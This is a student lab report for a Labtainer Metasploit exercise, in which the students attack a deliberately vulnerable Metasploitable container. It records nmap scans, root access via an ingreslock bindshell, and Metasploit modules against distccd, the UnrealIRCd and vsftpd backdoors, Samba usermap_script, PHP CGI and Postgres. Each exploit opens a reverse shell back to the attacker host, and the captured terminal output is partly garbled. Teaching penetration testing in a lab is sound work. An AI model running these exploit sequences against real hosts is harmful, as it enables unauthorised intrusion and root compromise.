Assignment 05 – Metasploit Labtainer
Labtainer Metasploit Lab Report
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## Introduction

In this lab, we learned about the Metasploit tool. How to install the tool, learn, how to call the tool so that we can start the task.

# Metasploit Lab Exercise

This lab was developed for the Labtainer framework by the Naval Postgraduate School, Center for Cybersecurity and Cyber Operations under National Science Foundation Award No. 1438893. This work is in the public domain, and cannot be copyrighted.

## **Overview**

This Labtainer exercise explores the use of the metasploit tool which is installed on a Kali Linux system (attacker) and is meant to learn simple penetration skills on a purposely vulnerable metasploitable host (victim).

Note: the attacker computer is configured to have IP address 192.168.1.3 while the victim computer is 192.168.1.2

## Performing the lab

The lab is started from the Labtainer working directory on your Linux host, e.g., a Linux VM. From there, issue the command:

labtainer metasploit

The resulting virtual terminal is connected to the attacker computer.

#### **Tasks**

## 1. Verify connectivity between attacker and victim

A simple ping from the attacker system will be sufficient.

```
ping 192.168.1.2
```

We used the ping command to locate the server. The screenshot below shows how to use it.

```
Applications 🛂
                           ■ labtainer@c955bc39001... ■ ubuntu@victim: ~
                                                                                                                                                13:29 root
                                                                         ubuntu@attacker: -
                                                         ubuntu@attacker: ~ (on c955bc39001e)
File Edit View Search Terminal Help
ubuntu@attacker:~$ ping 192.168.1.2
PING 192.168.1.2 (192.168.1.2) 56(84) bytes of data.
64 bytes from 192.168.1.2: icmp_seq=1 ttl=64 time=0.095 ms
54 bytes from 192.168.1.2: icmp_seq=2 ttl=64 time=0.054 ms
64 bytes from 192.168.1.2: icmp_seq=3 ttl=64 time=0.062 ms
64 bytes from 192.168.1.2: icmp seq=4 ttl=64 time=0.051 ms
64 bytes from 192.168.1.2: icmp_seq=5 ttl=64 time=0.077 ms
64 bytes from 192.168.1.2: icmp_seq=6 ttl=64 time=0.051 ms
64 bytes from 192.168.1.2: icmp_seq=7 ttl=64 time=0.058 ms
64 bytes from 192.168.1.2: icmp_seq=8 ttl=64 time=0.052 ms
64 bytes from 192.168.1.2: icmp seq=9 ttl=64 time=0.051 ms
64 bytes from 192.168.1.2: icmp_seq=10 ttl=64 time=0.066 ms
64 bytes from 192.168.1.2: icmp_seq=11 ttl=64 time=0.052 ms
54 bytes from 192.168.1.2: icmp seq=12 ttl=64 time=0.073 ms
64 bytes from 192.168.1.2: icmp_seq=13 ttl=64 time=0.088 ms
64 bytes from 192.168.1.2: icmp seq=14 ttl=64 time=0.090 ms
64 bytes from 192.168.1.2: icmp seq=15 ttl=64 time=0.053 ms
64 bytes from 192.168.1.2: icmp_seq=16 ttl=64 time=0.061 ms
64 bytes from 192.168.1.2: icmp_seq=17 ttl=64 time=0.059 ms
64 bytes from 192.168.1.2: icmp_seq=18 ttl=64 time=0.055 ms
64 bytes from 192.168.1.2: icmp seq=19 ttl=64 time=0.052 ms
54 bytes from 192.168.1.2: icmp_seq=20 ttl=64 time=0.054 ms
64 bytes from 192.168.1.2: icmp_seq=21 ttl=64 time=0.051 ms
64 bytes from 192.168.1.2: icmp seg=22 ttl=64 time=0.063 ms
54 bytes from 192.168.1.2: icmp_seq=23 ttl=64 time=0.058 ms
64 bytes from 192.168.1.2: icmp_seq=24 ttl=64 time=0.055 ms
64 bytes from 192.168.1.2: icmp seq=25 ttl=64 time=0.060 ms
54 bytes from 192.168.1.2: icmp_seq=26 ttl=64 time=0.061 ms
64 bytes from 192.168.1.2: icmp_seq=27 ttl=64 time=0.057 ms
64 bytes from 192.168.1.2: icmp_seq=28 ttl=64 time=0.094 ms
64 bytes from 192.168.1.2: icmp_seq=29 ttl=64 time=0.103 ms
64 bytes from 192.168.1.2: icmp_seq=30 ttl=64 time=0.057 ms
54 bytes from 192.168.1.2: icmp seq=31 ttl=64 time=0.051 ms
64 bytes from 192.168.1.2: icmp seq=32 ttl=64 time=0.054 ms
64 bytes from 192.168.1.2: icmp_seq=33 ttl=64 time=0.054 ms
54 bytes from 192.168.1.2: icmp seq=34 ttl=64 time=0.077 ms
--- 192.168.1.2 ping statistics ---
```

#### 2. Get a list of vulnerable services on the victim

An 'nmap' scan of the victim will be sufficient.

```
nmap -p0-65535 192.168.1.2
```

we use namp command to scan the server from port 0 to 65535 to see what all ports are open and can be exploited. We can see how to use the command in the below screen short and we can see all the open ports.

```
🚩 Applications 🛂 📻 🌉 📝 🔳 labtainer@c955bc39001... 🔳 ubuntu@victim: ~
                                                                                                                                            13:30 root
                                                                      ubuntu@attacker: ~
                                                        ubuntu@attacker: ~ (on c955bc39001e)
File Edit View Search Terminal Help
rtt min/avg/max/mdev = 0.051/0.063/0.103/0.014 ms
ubuntu@attacker:~$ nmap -p0-65535 192.168.1.2
Starting Nmap 7.80 ( https://nmap.org ) at 2024-04-05 13:30 UTC
Nmap scan report for metasploit.victim.student.lan (192.168.1.2)
Host is up (0.00015s latency).
Not shown: 65509 closed ports
PORT
         STATE SERVICE
21/tcp
         open ftp
22/tcp
         open ssh
23/tcp
         open telnet
25/tcp
         open smtp
80/tcp
         open http
111/tcp
         open rpcbind
139/tcp
         open netbios-ssn
445/tcp
         open microsoft-ds
512/tcp
         open exec
513/tcp
         open login
514/tcp
         open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2121/tcp open ccproxy-ftp
3306/tcp open
               mysql
3632/tcp open distccd
5432/tcp open postgresql
5900/tcp open
               vnc
6000/tcp open X11
6667/tcp open irc
6697/tcp open ircs-u
8009/tcp open
               ajp13
8180/tcp open unknown
8787/tcp open msgsrvr
32969/tcp open unknown
32987/tcp open unknown
39727/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 3.49 seconds
ubuntu@attacker:~$
```

## 3. Vulnerably configured rlogin service (port 513)

Remote login to the victim (with root privilege)

```
rlogin -l root 192.168.1.2
```

Display a 'root' file

```
cat /root/filetoview.txt
```

Display root file as above

We used the 'telnet' command to connect to the victim with root privilege. The screenshot below shows this. Once we got connected, we used the cat command to look into what was written into filetoview.txt

```
(*** Applications 🔄 🚋 🌉 📝 🔳 labtainer@c955bc39001... 🔳 ubuntu@victim:
                                                                                            @victim: /
                                                                              @victim: / (on c955bc39001e)
 File Edit View Search Terminal Help
6000/tcp
            open
                    X11
6667/tcp open
                    irc
6697/tcp open
8009/tcp open
8180/tcp open
                    ajp13
unknown
8787/tcp open
32969/tcp open
                    msgsrvr
unknown
32987/tcp open
                    unknown
39727/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 3.49 seconds
wbuntu@attacker:-$ rlogin -1 root 192.168.1.2
rlogin: invalid option -- '1'
usage: rlogin [-8ELKd] [-e char] [-i user] [-p port] host
ubuntu@attacker:-$ cat/root/filetoview.txt
-bash: cat/root/filetoview.txt: No such file or directory
ubuntu@attacker:~$ cat /root/filetoview.txt cat: /root/filetoview.txt: Permission denied
ubuntu@attacker:-$ rlogin -1 root 192.168.1.2 rlogin: invalid option -- '1' usage: rlogin [-p port] host ubuntu@attacker:-$ telnet 192.168.1.2 1524
Trying 192.168.1.2.
Connected to 192.168.1.2.
Escape character is '^]'.
root@victim:/# cat /root/filetoview.txt
cat /root/filetoview.txt
cat /root/filetoview.txt
# Filename: filetoview.txt
# Description: This is a pre-created file for each student (victim) container
# This file is modified when container is created
root@victim:/#
```

### 4. Vulnerable ingreslock service (port 1524)

Use telnet to access ingreslock service and obtain root privilege

```
telnet 192.168.1.2 1524
```

we were able to get root privileges as we can see id = o which is root

```
@victim: / (on c955bc39001e)
File Edit View Search Terminal Help
ubuntu@victim:~$ telnet 192.168.1.2 1524
Trying 192.168.1.2...
Connected to 192.168.1.2.
Escape character is '^]'.
root@victim:/# id
uid=0(root) gid=0(root) groups=0(root)
root@victim:/#
root@victim:/# cat /root/filetoview.txt
cat /root/filetoview.txt
# Filename: filetoview.txt
# Description: This is a pre-created file for each student (victim) container
# This file is modified when container is created
# The string below will be replaced with a keyed hash
My string is: 70c39ee26d53fb4e223ba7f8153975da
root@victim:/#
root@victim:/#
```

## 5. Vulnerable distccd service (port 3632)

```
Start Metasploit console
```

```
sudo msfconsole
```

Note you will see a warning about a missing database, you can ignore that.

search for distccd exploit

```
search distccd
```

#### Use the exploit

```
use exploit/unix/misc/distcc_exec
```

View options related to exploit

options

Set the 'RHOST' option

set RHOST 192.168.1.2

#### Run the exploit

exploit

Note: when the exploit has succeeded, no prompt is shown but a shell is created

Display the root file as above

```
dTb.dTb
4' v 'B
6. .P
'T; .;P'
'T; ;P'
I love shells --egypt
=[ metasploit v5.0.45-dev + ---=[ 1918 exploits - 1074 auxiliary - 330 post + -- --=[ 556 payloads - 45 encoders - 10 nops + -- --=[ 4 evasion
nsf5 > search distccd
Matching Modules
    nsf5 > use exploit/unix/misc/distcc_exec
nsf5 exploit(unix/misc/distcc_exec) > options
Module options (exploit/unix/misc/distcc_exec):
    Name Current Setting Required Description
                                         yes The target address range or CIDR identifier yes The target port (TCP)
    RHOSTS
RPORT 3632
Exploit target:
    Id Name
     θ Automatic Target
nsf5 exploit(unix/misc/distcc_exec) > set RHOST 192.168.1.2
NoST => 192.168.1.2
nsf5 exploit(unix/misc/distcc_exec) > exploit
    | Started reverse TCP double handler on 192.168.1.3:4444 |
| Accepted the first client connection... |
| Accepted the second client connection... |
| Ocmmand: echo hce20gCtsiq7ivi5; |
| Writing to socket B |
| Reading from sockets... |
| Reading from sockets B |
| B: "hCe20gCtsiq7ivi5\r\n" |
| Matching... |
| A is input... |
| Command shell session 1 opened (192.168.1.3:4444 -> 192.168.1.2:38040) at 2024-04-05 13:47:50 +0000
```

#### 6. Vulnerable IRC daemon (port 6667)

```
Search for unreal_ircd exploit.
search unreal_ircd
```

### Use the exploit;

```
use exploit/unix/irc/unreal ircd 3281 backdoor
```

View and set options as necessary (RHOST option) run the exploit and display root file.

```
File Edit View Search Terminal Help
     --=[ 4 evasion
msf5 > search unreal ircd
Matching Modules
                                                                        Disclosure Date Rank
                                                                                                                 Check Description
   0 exploit/unix/irc/unreal ircd 3281 backdoor 2010-06-12
                                                                                                excellent No UnrealIRCD 3.2.8.1 Backdoor Command Execution
<u>msf5</u> > use exploit/unix/irc/unreal_ircd_3281_backdoor
<u>msf5</u> exploit(<mark>unix/irc/unreal_ircd_3281_backdo</mark>or) > options
lodule options (exploit/unix/irc/unreal_ircd_3281_backdoor):
   Name Current Setting Required Description
                                                    The target address range or CIDR identifier
The target port (TCP)
   RHOSTS
   RPORT 6667
Exploit target:
  Id Name
  0 Automatic Target
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOST 192.168.1.2
RHOST => 192.168.1.2
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit
 Started reverse TCP double handler on 192.168.1.3:4444
| Started reverse ILP double manuler on 192.106.1.3:4444
| 192.166.1.2:6667 - Connected to 192.166.1.2:6667...
| irc.Metasploitable.LAN NOTICE AUTH: **** Looking up your hostname
| 192.168.1.2:6667 - Sending backdoor command...
| Accepted the first client connection...
| Accepted the second client connection...
| Command: echo juWikzw3lo9kQ1Hb;
| Wirtinn to socket A
     Writing to socket A
     Writing to socket B
Reading from sockets.
    Reading from socket A
A: "sh: line 2: Connected: command not found\r\nsh: line 3: Escape: command not found\r\njwLWkzW3\09KQ1Hb\r\n"
Matching...
B is input...
  Command shell session 1 opened (192.168.1.3:4444 -> 192.168.1.2:46496) at 2024-04-05 13:58:46 +0000
at /root/filetoview.txt
    /root/filetoview.txt
Filename: filetoview.txt
Description: This is a pre-created file for each student (victim) container
 This file is modified when container is created
# The string below will be replaced with a keyo
My string is: 70c39ee26d53fb4e223ba7f8153975da
```

#### 7. Vulnerable VSFtpd service (port 21)

```
Search for vsftpd_234
  search vsftpd_234

Use the exploit
    use exploit/unix/ftp/vsftpd_234_backdoor
```

View and set options as necessary (RHOST option), run the exploit and display root file

```
plications 🔄 📷 🌉 📝 🔳 [labtainer@c955bc3900.
                                                                                           excellent No
    0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03
                                                                                                                              VSFTPD v2.3.4 Backdoor Command Execution
 msf5 > options
                                 Current Setting Description
    ConsoleLogging false Log all console input and output
LogLevel 0 Verbosity of logs (default 0, max 3)
MinimumRank 0 The minimum rank of exploits that will run without explicit confirmation
Prompt msf5 The prompt string
PromptTlimeFormat %Y-%m-%d %H:%M:%5 Format for timestamp escapes in prompts
SessionLogging false Prefix all console output with a timestamp
   if5 > use exoloit/unix/ftp/vsftpd 234 backdoor
      No results from search
Failed to load module: exoloit/unix/ftp/vsftpd_234_backdoor
 msf5 > use exploit/unix/ftp/vsftpd_234_backdoor
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > options
  odule options (exploit/unix/ftp/vsftpd 234 backdoor):
    Name Current Setting Required Description
                                                            The target address range or CIDR identifier
The target port (TCP)
     RHOSTS
RPORT 21
  xploit target:
    0 Automatic
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.1.2
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
  *] 192.168.1.2:21 - Banner: 220 (vsFTPd 2.3.4)
*] 192.168.1.2:21 - USER: 331 Please specify the password.
*] 192.168.1.2:21 - Buddoor service has been spawned, handling...
*] 192.168.1.2:21 - UID: uid=0(root) gid=0(root)
      Found shell.

Command shell session 1 opened (192.168.1.3:35163 -> 192.168.1.2:6200) at 2024-04-05 14:02:30 +0000
 cat /root/filetoview.txt
    t /root/filetoview.txt
Filename: filetoview.txt
   Description: This is a pre-created file for each student (victim) container
   This file is modified when container is created
The string below will be replaced with a keyed hash
string is: 70c39ee26d53fb4e223ba7f8153975da
```

#### 8. Vulnerable Samba service (port 139)

```
Search for samba usermap_script
search usermap_script

Use the exploit
use exploit/multi/samba/usermap_script
```

View and set options as necessary (RHOST option), run the exploit and display root file

First, we launched the console and then used the search command to find the exploit we used by typing the use command. After that, we can see all the options that we can use by using the option command. Then, we will set the RHOST by using the set command. Then, finally, to run the exploit, we use the command exploit. We followed the steps and were able to successfully complete the attack. We use the cat command to look at the root file.

We can see the entire process In a flowing screen-shot

```
ubuntu@attacker: ~ (on c955bc39001e)
File Edit View Search Terminal Help
=[ metasploit v5.0.45-dev
+ -- --=[ 1918 exploits - 1074 auxiliary - 330
+ -- --=[ 556 payloads - 45 encoders - 10 nops
+ -- --=[ 4 evasion
msf5 > search userman script
Matching Modules
                                                                                                         Check Description
    0 exploit/multi/samba/usermap_script 2007-05-14
                                                                                       excellent No
                                                                                                                 Samba "username map script" Command Execution
msf5 > use exploit/multi/samba/usermap_script
msf5 exploit(multi/samba/usermap_script) > options
Module options (exploit/multi/samba/usermap_script):
    Name Current Setting Required Description
                             yes The target address range or CIDR identifier
yes The target port (TCP)
              139
    RPORT
Exploit target:
    Id Name
    0 Automatic
msf5 exploit(multi/samba/usermap_script) > set RHOST 192.168.1.2
msf5 exploit(multi/samba/usermap_script) > exploit
    Started reverse TCP double handler on 192.168.1.3:4444
Accepted the first client connection...
Accepted the second client connection...
Command: echo VUeZJNM4fJluiNmR;
Writing to socket A
Writing to socket B
Reading from sockets...
Reading from sockets...
Ac "sh: line 2: Connected: command not found\r\nsh: line 3: Escape: command not found\r\nVUeZJNM4fJluiNmR\r\n"
     A: "sh:
Matching
     Tacking...

B is input...

Command shell session 1 opened (192.168.1.3:4444 -> 192.168.1.2:45798) at 2024-04-05 14:06:22 +0000
cat /root/filetoview.txt
# Filename: filetoview.txt
# Description: This is a pre-created file for each student (victim) container
# This file is modified when container is created
# The string below will be replaced with a keyed hash
My string is: 70c39ee26d53fb4e223ba7f8153975da
```

## 9. Vulnerable HTTP (php) service (port 80)

```
Search for php_cgi
    search php_cgi

Use the exploit
    use exploit/multi/http/php_cgi_arg_injection

View and set options as necessary (RHOST option) run the exploit

Note: when the exploit is succeeded a 'meterpreter' prompt is shown

From meterpreter prompt, drop to a shell
    Shell
    Display root file
```

13

#### Labtainers metasploit

```
Applications 🔄 🔚 🛒 📝 🔲 [lab
                                                                                                                                                                                ubuntu@attacker: ~ (on c955bc39001e)
  File Edit View Search Terminal Help
    =[ metasploit v5.0.45-dev
----=[ 1918 exploits - 1074 auxiliary - 330 post
----=[ 556 payloads - 45 encoders - 10 nops
-----=[ 4 evasion
 Matching Modules
                                                                                               Disclosure Date Rank
                                                                                                                                                Check Description
      θ exploit/multi/http/php_cgi_arg_injection 2012-05-03
                                                                                                                              excellent Yes PHP CGI Argument Injection
 <u>msf5</u> > use exploit/multi/http/php_cgi_arg_injection
<u>msf5</u> exploit(<mark>multi/http/php_cgi_arg_injection</mark>) > options
 Module options (exploit/multi/http/php_cgi_arg_injection):
                             Current Setting Required Description

false yes Exploit Ples no A proxy chair yes The target a 80 yes The target p false no Negotiate SS no The URI to r
      Name
                                                                                    Exploit Plesk
A proxy chain of format type:host:port[[type:host:port][...]
The target address range or CIDR identifier
The target port (TCP)
Negotiate SSL/TLS for outgoing connections
The URI to request (must be a CGI-handled PMP script)
Level of URI URIENCOING and padding (0 for minimum)
HTTP server virtual host
      PLESK
      Proxies
RHOSTS
RPORT
      SSL fa
TARGETURI
URIENCODING 0
VHOST
  Exploit target:
      Id Name
      0 Automatic
 msf5 exploit(multi/http/php_cgi_arg_injection) > set RHOST 192.168.1.2
RHOST => 192.168.1.2
msf5 exploit(multi/http/php_cgi_arg_injection) > exploit
   *] Started reverse TCP handler on 192.168.1.3:4444
*] Sending stage (38247 bytes) to 192.168.1.2
*] Meterpreter session 1 opened (192.168.1.3:4444 -> 192.168.1.2:37000) at 2024-04-05 14:11:35 +0000
 meterpreter > shell
Process 3170 created.
Channel 0 created.
cat /root/filetoview.txt
cat /root/filetoview.txt
# Filename: filetoview.txt
#
  # Description: This is a pre-created file for each student (victim) container
# This file is modified when container is created
# The string below will be replaced with a keyed hash
My string is: 70c39ee26d53fb4e223ba7f8153975da
```

## 10. Vulnerable Postgres service (port 5432)

```
Search for postgres_payload search postgres payload
```

Use the exploit

use exploit/linux/postgres/postgres payload

View and set options as necessary (RHOST option) run the exploit

Note: when the exploit is succeeded a 'meterpreter' prompt is shown

From meterpreter prompt, drop to a shell.

shell

Display root file

```
🖐 Applications 🔄 🕋 🌉 📝 🔳 [labtainer@c955bc3900... 📋 [ubuntu@victim: ~]
                                                                                                                            ubuntu@attacker
                                                                                                                                                         ubuntu@attacker: ~ (on c955bc39001e)
 File Edit View Search Terminal Help
+ -- --=[ 4 evasion
msf5 > search postgres_payload
Matching Modules
     # Name
                                                                                     Disclosure Date Rank
                                                                                                                                      Check Description
                                                                                                                                                  PostgreSQL for Linux Payload Execution
PostgreSQL for Microsoft Windows Payload Execution
          exploit/linux/postgres/postgres_payload
                                                                                                                   excellent Yes
         exploit/windows/postgres/postgres_payload
                                                                                    2009-04-10
                                                                                                                  excellent Yes
msf5 > use exploit/linux/postgres/postgers_payload
[-] No results from search
[-] Failed to load module: exploit/linux/postgres/postgers_payload
msf5 > use exploit/linux/postgres/postgres_payload
msf5 exploit(linux/postgres/postgres_payload) > options
Module options (exploit/linux/postgres/postgres payload):
                      Current Setting Required Description
     Name
                                                                     The database to authenticate against
The password for the specified username. Leave blank for a random password.
The target address range or CIDR identifier
The target port
      DATABASE template1
      PASSWORD postgres
                                                    no
     RHOSTS
RPORT
                       5432
                                                    yes
     USERNAME postgres
VERBOSE false
                                                                     The username to authenticate as 
Enable verbose output
Exploit target:
     Id Name
         Linux x86
\frac{msf5}{RHOST} = \text{poloit}(\frac{\text{linux/postgres/postgres_payload}}) > \text{set RHOST 192.168.1.2}
\frac{msf5}{msf5} = \text{poloit}(\frac{\text{linux/postgres/postgres_payload}}) > \text{exploit}
      Started reverse TCP handler on 192.168.1.3:4444
[*] 192.168.1.2:5432 - PostgreSQL 8.3.1 on 1486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] Uploaded as /tmp/OtthDeTdV.so, should be cleaned up automatically
[*] Sending stage (985320 bytes) to 192.168.1.2
[*] Meterpreter session 1 opened (192.168.1.3:4444 -> 192.168.1.2:48874) at 2024-04-05 14:17:47 +0000
meterpreter > shell
Process 3404 created.
Channel 1 created.
cat /root/filetoview.txt
cat /root/filetoview.txt
 # Filename: filetoview.txt
# Description: This is a pre-created file for each student (victim) container
# This file is modified when container is created
# The string below will be replaced with a keyed hash
My string is: 70c39ee26d53fb4e223ba7f8153975da
```

## **Stop the Labtainer**

When the lab is completed, or you'd like to stop working for a while, run

Stoplab

# **Background**

For this lab, we followed the comprehensive and detailed Metasploit Labtainer lab instructions on Moodle; they told us exactly what to do. We didn't use outside resources.

## Methodology/Results

We looked at the instructions and followed them step by step; I was able to complete tasks. All of the results of this lab are documented, with images of the work done added when needed.